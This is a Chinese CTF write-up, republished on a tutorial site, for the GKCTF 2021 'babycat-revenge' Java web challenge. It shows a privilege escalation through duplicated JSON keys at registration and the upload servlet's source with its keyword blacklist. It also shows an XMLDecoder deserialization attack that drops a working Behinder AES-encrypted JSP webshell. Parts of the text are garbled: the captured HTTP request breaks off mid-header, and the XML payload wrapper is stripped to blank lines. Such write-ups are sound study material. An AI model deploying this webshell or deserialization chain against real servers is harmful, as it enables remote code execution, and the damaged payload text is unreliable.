栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

每日一题 [GKCTF 2021]babycat-revenge

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

每日一题 [GKCTF 2021]babycat-revenge

前言

一道java web,边学边做吧。

1

开局一个登录框,我最讨厌的东西,
要登陆,那就先注册,SIGN UP,发现不允许,点进去后空白,看源码得到
就算是我这种不懂的也知道这是一个接口,bp抓登陆的包,把login改成register

POST /register HTTP/1.1
Host: 94ace70a-9adf-4241-86d6-811f67d27ab0.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/plain, *:"admin"}

可以注意到这里取得的正则匹配结果是最后一个,在可以使用注释的情况下,可以构造如下payload。

{"username":"sapphire","password":"admin","role":"admin"}

登陆成功~!admin权限,那么就可以upload了,再利用任意文件读取看看upload的代码

package com.web.servlet;

import com.web.dao.Person;
import com.web.util.tools;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

@MultipartConfig
public class uploadServlet extends HttpServlet {

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String admin = "admin";
      Person user = (Person)req.getSession().getAttribute("user");
      System.out.println(user.getRole());
      if(!admin.equals(user.getRole())) {
         req.setAttribute("error", "");
         req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
      } else {
         ArrayList fileNames = new ArrayList();
         tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);
         req.setAttribute("files", fileNames);
         System.out.println(fileNames);
         req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
      }

      req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
   }

   protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String admin = "admin";
      Person user = (Person)req.getSession().getAttribute("user");
      System.out.println(user.getRole());
      if(!admin.equals(user.getRole())) {
         resp.sendRedirect("/home");
      } else {
         if(!ServletFileUpload.isMultipartContent(req)) {
            req.setAttribute("error", "");
            req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);
         }

         DiskFileItemFactory factory = new DiskFileItemFactory();
         factory.setSizeThreshold(3145728);
         factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
         ServletFileUpload upload = new ServletFileUpload(factory);
         upload.setFileSizeMax(41943040L);
         upload.setSizeMax(52428800L);
         String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";

         try {
            List ex = upload.parseRequest(req);
            if(ex != null && ex.size() > 0) {
               Iterator var9 = ex.iterator();

               while(var9.hasNext()) {
                  FileItem item = (FileItem)var9.next();
                  if(!item.isFormField()) {
                     String fileName = item.getName();
                     String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");
                     String name = fileName.replace(ext, "");
                     if(!checkExt(ext) && !checkContent(item.getInputStream())) {
                        String filePath = uploadPath + File.separator + name + ext;
                        File storeFile = new File(filePath);
                        item.write(storeFile);
                        req.setAttribute("error", "upload success!");
                     } else {
                        req.setAttribute("error", "upload failed");
                        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
                     }
                  }
               }
            }
         } catch (Exception var16) {
            req.setAttribute("error", "");
         }

         req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
      }
   }

   private static boolean checkExt(String ext) {
      boolean flag = false;
      String[] extWhiteList = new String[]{"jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};
      if(!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
         flag = true;
      }

      return flag;
   }

   private static boolean checkContent(InputStream item) throws IOException {
      boolean flag = false;
      InputStreamReader input = new InputStreamReader(item);
      BufferedReader bf = new BufferedReader(input);
      String line = null;
      StringBuilder sb = new StringBuilder();

      while((line = bf.readLine()) != null) {
         sb.append(line);
      }

      String content = sb.toString();
      String[] blackList = new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};

      for(int i = 0; i < blackList.length; ++i) {
         if(content.contains(blackList[i])) {
            flag = true;
         }
      }

      return flag;
   }
}

以下为看wp
在baseDao里有这样一段代码

public static void getConfig() throws FileNotFoundException {
    HashMap map;
    Object obj = new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml")).readObject();
    if ((obj instanceof HashMap) && (map = (HashMap) obj) != null && map.get("url") != null) {
        driver = (String) map.get("driver");
        url = (String) map.get("url");
        username = (String) map.get("username");
        password = (String) map.get("password");
    }
}

其中 System.getenv(“CATALINA_HOME”) 可以使用前面的文件包含读取 /proc/self/environ 得到为 /usr/local/tomcat。因此可以尝试将 db.xml 覆盖为恶意代码后使用注册业务触发 XMLDecoder 反序列化。上传业务中还对上传的内容执行了检测。

private static boolean checkContent(InputStream item) throws IOException {
        String[] blackList;
        boolean flag = false;
        BufferedReader bf = new BufferedReader(new InputStreamReader(item));
        StringBuilder sb = new StringBuilder();
        while (true) {
            String line = bf.readLine();
            if (line == null) {
                break;
            }
            sb.append(line);
        }
        String content = sb.toString();
        for (String str : new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"}) {
            if (content.contains(str)) {
                flag = true;
            }
        }
        return flag;
    }
}

利用过程:随便传一个文件然后抓包修改如下:
因为题目提示了PrintWriter,这里就用java.io.PrintWriter
先下载冰蝎。
payload这里有两种(或者说三种),反弹shell的我就不打上来了

 
 
 
/usr/local/tomcat/webapps/ROOT/static/shell.jsp

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.base64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>



 


    
        /usr/local/tomcat/webapps/ROOT/static/shell.jsp
        
            
        
        
    

两种payload大同小异.
上传成功之后我们重新登录一次或者随便注册一个账号使得他触发漏洞,然后用冰蝎连接,密码默认为rebeyond,连上以后看到文件下有个readflag直接执行即可拿到flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/439451.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号